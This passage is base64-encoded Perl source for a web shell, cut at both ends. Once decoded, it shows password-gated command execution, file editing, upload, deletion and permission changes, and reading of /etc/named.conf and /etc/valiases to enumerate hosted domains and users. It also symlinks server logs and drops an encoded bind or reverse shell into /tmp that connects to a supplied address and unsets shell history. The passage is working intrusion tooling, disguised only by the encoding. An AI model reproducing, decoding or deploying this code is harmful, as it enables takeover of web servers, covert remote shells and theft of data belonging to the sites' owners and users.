dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgd